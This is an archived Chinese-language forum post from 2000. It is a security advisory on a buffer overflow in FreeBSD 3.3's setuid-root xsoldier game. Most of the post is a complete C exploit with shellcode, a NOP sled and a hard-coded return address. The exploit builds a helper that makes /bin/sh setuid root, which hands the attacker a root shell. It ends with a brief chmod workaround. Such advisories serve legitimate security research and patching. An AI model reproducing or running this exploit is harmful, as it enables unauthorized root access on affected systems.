精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>FreeBSD 'xsoldier' 缓冲区溢出漏洞(1)

主题:FreeBSD 'xsoldier' 缓冲区溢出漏洞(1)
发信人: [email protected]()
整理人: williamlong(2000-03-28 15:07:57), 站内信件

FreeBSD 'xsoldier' 缓冲区溢出漏洞 

  受影响的系统: FreeBSD
  FreeBSD 3.3 
  描述:

  某些FreeBSD版本(现在只测试了FreeBSD 3.3-RELEASE)的X11游戏软件包中带
了一个游戏程序xsoldier,它缺省被设置了suid root位,因此它可以在X windows
的控制台运行. 
  这个程序自身存在一个缓冲区溢出的漏洞,有可能被用来非法获得root权限.
问题出在程序处理"-display"(指定显示内容将被送到哪个X server)参数的部分
.攻击者并不需要指定一个有效的$DISPLAY变量,只需要在命令行提供一个很长的
字符串作为"-display"的参数,就有可能发生缓 冲区溢出.

  测试程序: 
  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自
负!

  /* 
  * xsoldier exploit for Freebsd-3.3-RELEASE
  * Drops a suid root shell in /bin/sh
  * Brock Tellier [email protected]
  */

  #include <stdio.h>

  char shell[]= /* [email protected] */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

  #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

  void buildui() {
  FILE *fp;
  char cc[100];
  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);
  }

  main (int argc, char *argv[] ) {
  int x = 0;
  int y = 0;
  int offset = 0;
  int bsize = 4400;
  char buf[bsize];
  int eip = 0xbfbfdb65; /* works for me */
  buildui();

  if (argv[1]) {
  offset = atoi(argv[1]);
  eip = eip + offset;
  }
  fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
  <[email protected]>\n");
  fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
  fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi
ze);

  for ( x = 0; x < 4325; x++) buf[x] = 0x90;
  fprintf(stderr, "NOPs to %d\n", x);

  for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
  fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] = eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
  fprintf(stderr, "eip to %d\n",x);

  buf[bsize]='\0';
  execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL
);
  }

  建议: 
  目前只有尚未有补丁程序,临时解决方法是chmod u-s xsoldier. 



--
欢迎大家常来回合策略  宗教信仰坐坐。
欢迎光临
魔法师学院http://wwwmagic.126.com
    
*    *    *    *    *
       
无挂碍故无有恐怖
                --
DOS--
                                      

※ 来源:.网易虚拟社区北京站 http://bj.netease.com.[FROM: 202.106.246.126]

[关闭][返回]